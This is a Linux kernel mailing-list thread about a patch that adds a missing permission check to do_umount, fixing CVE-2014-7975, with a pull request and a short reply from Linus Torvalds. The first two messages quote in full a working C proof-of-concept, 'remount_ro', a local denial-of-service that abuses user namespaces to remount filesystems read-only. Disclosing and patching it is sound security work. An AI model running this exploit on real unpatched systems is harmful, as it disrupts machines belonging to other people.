* Re: [PATCH] fs: Add a missing permission check to do_umount [not found] <a1480dcc3c706e309a88884723446f2e84fedd5b.1412796914.git.luto@amacapital.net> @ 2014-10-09 22:36 ` Andy Lutomirski 2014-10-14 5:33 ` Andy Lutomirski 0 siblings, 1 reply; 4+ messages in thread From: Andy Lutomirski @ 2014-10-09 22:36 UTC (permalink / raw) To: Al Viro, Eric W. Biederman, security@kernel.org Cc: Serge Hallyn, Andy Lutomirski, stable, linux-kernel@vger.kernel.org, Linux FS Devel On Wed, Oct 8, 2014 at 12:37 PM, Andy Lutomirski <luto@amacapital.net> wrote: > Accessing do_remount_sb should require global CAP_SYS_ADMIN, but > only one of the two call sites was appropriately protected. > > Fixes CVE-2014-7975. Due to my ineptitude, the cat is well and truly out of the bag on this one, complete with PoC. This fix really ought to be safe. Inside a mountns owned by a non-root user namespace, the namespace root almost always has MNT_LOCKED set (if it doesn't, then there's a bug, because rootfs could be exposed). In that case, calling umount on "/" will return -EINVAL with or without this patch. Outside a userns, this patch will have no effect. may_mount, required by umount, already checks ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN), so an additional capable(CAP_SYS_ADMIN) check will have no effect. That leaves anything that calls umount on "/" in a non-root userns while chrooted. This is the case that is currently broken (it remounts ro, which shouldn't be allowed) and that my patch changes to -EPERM. If anything relies on *that*, I'd be surprised. --Andy > > Cc: stable@vger.kernel.org > Signed-off-by: Andy Lutomirski <luto@amacapital.net> > --- > > *Sigh* > > Build the thing below and do something like: > > $ cd /dev/pts > $ remount_ro /dev > > /* remount_ro.c */ > /* Copyright (c) 2014 Andrew Lutomirski. All rights reserved. */ > > #define _GNU_SOURCE > #include <unistd.h> > #include <sched.h> > #include <sys/types.h> > #include <sys/wait.h> > #include <fcntl.h> > #include <stdio.h> > #include <string.h> > #include <err.h> > #include <sys/mount.h> > #include <sys/syscall.h> > #include <sys/stat.h> > > #ifndef CLONE_NEWUSER > #define CLONE_NEWUSER 0x10000000 > #endif > > static void set_map(const char *path, uid_t outer) > { > char buf[1024]; > int fd = open(path, O_WRONLY); > if (fd == -1) > err(1, "open map"); > sprintf(buf, "0 %ld 1", (long)outer); > if (write(fd, buf, strlen(buf)) != strlen(buf)) > err(1, "write map"); > close(fd); > } > > int main(int argc, char **argv) > { > printf("remount_ro, a DoS by Andy Lutomirski\n"); > if (argc != 2) { > printf("Usage: remount_ro TARGET_MOUNT\n"); > return 1; > } > > int origroot_fd; > long uid = geteuid(), gid = getegid(); > char origcwd[16384]; > const char *target = argv[1]; > > if (unshare(CLONE_NEWUSER) != 0) > err(1, "unshare(CLONE_NEWUSER)"); > if (unshare(CLONE_NEWNS) != 0) > err(1, "unshare(CLONE_NEWNS)"); > > set_map("/proc/self/uid_map", uid); > set_map("/proc/self/gid_map", gid); > > if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0) > err(1, "MS_PRIVATE"); > > // Minimize required thought: just chroot to the target first. > if (chroot(target) != 0) > err(1, "chroot to target"); > > // Big song and dance to clear MNT_LOCKED on "/". > > origroot_fd = open("/", O_RDONLY); > if (origroot_fd == -1) > err(1, "open"); > > if (!getcwd(origcwd, sizeof(origcwd))) > err(1, "getcwd"); > if (!strncmp("(unreachable)", origcwd, 13)) > errx(1, "current directory must be under the target directory"); > if (!strcmp(origcwd, "/")) > errx(1, "don't run from the target directory"); > if (mount("temporary_root", ".", "tmpfs", 0, NULL) != 0) > err(1, "mount"); > if (chdir(origcwd) != 0) > err(1, "chdir"); > > if (syscall(SYS_pivot_root, ".", ".") != 0) > err(1, "pivot_root"); > > if (fchdir(origroot_fd) != 0) > err(1, "fchdir"); > close(origroot_fd); > > if (chroot(".") != 0) > err(1, "chroot"); > > // That was fun. Exploit time. > if (umount2("/", MNT_FORCE) != 0) > err(1, "umount"); > printf("Seems to have worked. Have fun.\n"); > > return 0; > } > > fs/namespace.c | 2 ++ > 1 file changed, 2 insertions(+) > > diff --git a/fs/namespace.c b/fs/namespace.c > index ef42d9bee212..7f67b463a5b4 100644 > --- a/fs/namespace.c > +++ b/fs/namespace.c > @@ -1356,6 +1356,8 @@ static int do_umount(struct mount *mnt, int flags) > * Special case for "unmounting" root ... > * we just try to remount it readonly. > */ > + if (!capable(CAP_SYS_ADMIN)) > + return -EPERM; > down_write(&sb->s_umount); > if (!(sb->s_flags & MS_RDONLY)) > retval = do_remount_sb(sb, MS_RDONLY, NULL, 0); > -- > 1.9.3 > -- Andy Lutomirski AMA Capital Management, LLC ^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] fs: Add a missing permission check to do_umount 2014-10-09 22:36 ` [PATCH] fs: Add a missing permission check to do_umount Andy Lutomirski @ 2014-10-14 5:33 ` Andy Lutomirski 2014-10-14 6:53 ` Linus Torvalds 0 siblings, 1 reply; 4+ messages in thread From: Andy Lutomirski @ 2014-10-14 5:33 UTC (permalink / raw) To: Al Viro, Eric W. Biederman, security@kernel.org, Linus Torvalds Cc: Serge Hallyn, Andy Lutomirski, stable, linux-kernel@vger.kernel.org, Linux FS Devel On Thu, Oct 9, 2014 at 3:36 PM, Andy Lutomirski <luto@amacapital.net> wrote: > On Wed, Oct 8, 2014 at 12:37 PM, Andy Lutomirski <luto@amacapital.net> wrote: >> Accessing do_remount_sb should require global CAP_SYS_ADMIN, but >> only one of the two call sites was appropriately protected. >> >> Fixes CVE-2014-7975. > > Due to my ineptitude, the cat is well and truly out of the bag on this > one, complete with PoC. Beuller? Linus, can you pull this? The following changes since commit a1480dcc3c706e309a88884723446f2e84fedd5b: fs: Add a missing permission check to do_umount (2014-10-08 12:32:47 -0700) are available in the git repository at: git://git.kernel.org/pub/scm/linux/kernel/git/luto/linux.git CVE-2014-7975 for you to fetch changes up to a1480dcc3c706e309a88884723446f2e84fedd5b: fs: Add a missing permission check to do_umount (2014-10-08 12:32:47 -0700) Thanks, Andy > > This fix really ought to be safe. Inside a mountns owned by a > non-root user namespace, the namespace root almost always has > MNT_LOCKED set (if it doesn't, then there's a bug, because rootfs > could be exposed). In that case, calling umount on "/" will return > -EINVAL with or without this patch. > > Outside a userns, this patch will have no effect. may_mount, required > by umount, already checks > ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN), so an > additional capable(CAP_SYS_ADMIN) check will have no effect. > > That leaves anything that calls umount on "/" in a non-root userns > while chrooted. This is the case that is currently broken (it > remounts ro, which shouldn't be allowed) and that my patch changes to > -EPERM. If anything relies on *that*, I'd be surprised. > > --Andy > >> >> Cc: stable@vger.kernel.org >> Signed-off-by: Andy Lutomirski <luto@amacapital.net> >> --- >> >> *Sigh* >> >> Build the thing below and do something like: >> >> $ cd /dev/pts >> $ remount_ro /dev >> >> /* remount_ro.c */ >> /* Copyright (c) 2014 Andrew Lutomirski. All rights reserved. */ >> >> #define _GNU_SOURCE >> #include <unistd.h> >> #include <sched.h> >> #include <sys/types.h> >> #include <sys/wait.h> >> #include <fcntl.h> >> #include <stdio.h> >> #include <string.h> >> #include <err.h> >> #include <sys/mount.h> >> #include <sys/syscall.h> >> #include <sys/stat.h> >> >> #ifndef CLONE_NEWUSER >> #define CLONE_NEWUSER 0x10000000 >> #endif >> >> static void set_map(const char *path, uid_t outer) >> { >> char buf[1024]; >> int fd = open(path, O_WRONLY); >> if (fd == -1) >> err(1, "open map"); >> sprintf(buf, "0 %ld 1", (long)outer); >> if (write(fd, buf, strlen(buf)) != strlen(buf)) >> err(1, "write map"); >> close(fd); >> } >> >> int main(int argc, char **argv) >> { >> printf("remount_ro, a DoS by Andy Lutomirski\n"); >> if (argc != 2) { >> printf("Usage: remount_ro TARGET_MOUNT\n"); >> return 1; >> } >> >> int origroot_fd; >> long uid = geteuid(), gid = getegid(); >> char origcwd[16384]; >> const char *target = argv[1]; >> >> if (unshare(CLONE_NEWUSER) != 0) >> err(1, "unshare(CLONE_NEWUSER)"); >> if (unshare(CLONE_NEWNS) != 0) >> err(1, "unshare(CLONE_NEWNS)"); >> >> set_map("/proc/self/uid_map", uid); >> set_map("/proc/self/gid_map", gid); >> >> if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0) >> err(1, "MS_PRIVATE"); >> >> // Minimize required thought: just chroot to the target first. >> if (chroot(target) != 0) >> err(1, "chroot to target"); >> >> // Big song and dance to clear MNT_LOCKED on "/". >> >> origroot_fd = open("/", O_RDONLY); >> if (origroot_fd == -1) >> err(1, "open"); >> >> if (!getcwd(origcwd, sizeof(origcwd))) >> err(1, "getcwd"); >> if (!strncmp("(unreachable)", origcwd, 13)) >> errx(1, "current directory must be under the target directory"); >> if (!strcmp(origcwd, "/")) >> errx(1, "don't run from the target directory"); >> if (mount("temporary_root", ".", "tmpfs", 0, NULL) != 0) >> err(1, "mount"); >> if (chdir(origcwd) != 0) >> err(1, "chdir"); >> >> if (syscall(SYS_pivot_root, ".", ".") != 0) >> err(1, "pivot_root"); >> >> if (fchdir(origroot_fd) != 0) >> err(1, "fchdir"); >> close(origroot_fd); >> >> if (chroot(".") != 0) >> err(1, "chroot"); >> >> // That was fun. Exploit time. >> if (umount2("/", MNT_FORCE) != 0) >> err(1, "umount"); >> printf("Seems to have worked. Have fun.\n"); >> >> return 0; >> } >> >> fs/namespace.c | 2 ++ >> 1 file changed, 2 insertions(+) >> >> diff --git a/fs/namespace.c b/fs/namespace.c >> index ef42d9bee212..7f67b463a5b4 100644 >> --- a/fs/namespace.c >> +++ b/fs/namespace.c >> @@ -1356,6 +1356,8 @@ static int do_umount(struct mount *mnt, int flags) >> * Special case for "unmounting" root ... >> * we just try to remount it readonly. >> */ >> + if (!capable(CAP_SYS_ADMIN)) >> + return -EPERM; >> down_write(&sb->s_umount); >> if (!(sb->s_flags & MS_RDONLY)) >> retval = do_remount_sb(sb, MS_RDONLY, NULL, 0); >> -- >> 1.9.3 >> > > > > -- > Andy Lutomirski > AMA Capital Management, LLC -- Andy Lutomirski AMA Capital Management, LLC ^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] fs: Add a missing permission check to do_umount 2014-10-14 5:33 ` Andy Lutomirski @ 2014-10-14 6:53 ` Linus Torvalds 2014-10-14 14:26 ` Andy Lutomirski 0 siblings, 1 reply; 4+ messages in thread From: Linus Torvalds @ 2014-10-14 6:53 UTC (permalink / raw) To: Andy Lutomirski Cc: Al Viro, Eric W. Biederman, security@kernel.org, Serge Hallyn, stable, linux-kernel@vger.kernel.org, Linux FS Devel On Tue, Oct 14, 2014 at 7:33 AM, Andy Lutomirski <luto@amacapital.net> wrote: > > Linus, can you pull this? Pulled. You didn't mark the commit for stable. Oversight? Linus ^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] fs: Add a missing permission check to do_umount 2014-10-14 6:53 ` Linus Torvalds @ 2014-10-14 14:26 ` Andy Lutomirski 0 siblings, 0 replies; 4+ messages in thread From: Andy Lutomirski @ 2014-10-14 14:26 UTC (permalink / raw) To: Linus Torvalds Cc: Al Viro, Eric W. Biederman, security@kernel.org, Serge Hallyn, stable, linux-kernel@vger.kernel.org, Linux FS Devel On Mon, Oct 13, 2014 at 11:53 PM, Linus Torvalds <torvalds@linux-foundation.org> wrote: > On Tue, Oct 14, 2014 at 7:33 AM, Andy Lutomirski <luto@amacapital.net> wrote: >> >> Linus, can you pull this? > > Pulled. You didn't mark the commit for stable. Oversight? Yeah. I'll email. > > Linus -- Andy Lutomirski AMA Capital Management, LLC ^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2014-10-14 14:26 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
[not found] <a1480dcc3c706e309a88884723446f2e84fedd5b.1412796914.git.luto@amacapital.net>
2014-10-09 22:36 ` [PATCH] fs: Add a missing permission check to do_umount Andy Lutomirski
2014-10-14 5:33 ` Andy Lutomirski
2014-10-14 6:53 ` Linus Torvalds
2014-10-14 14:26 ` Andy Lutomirski
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).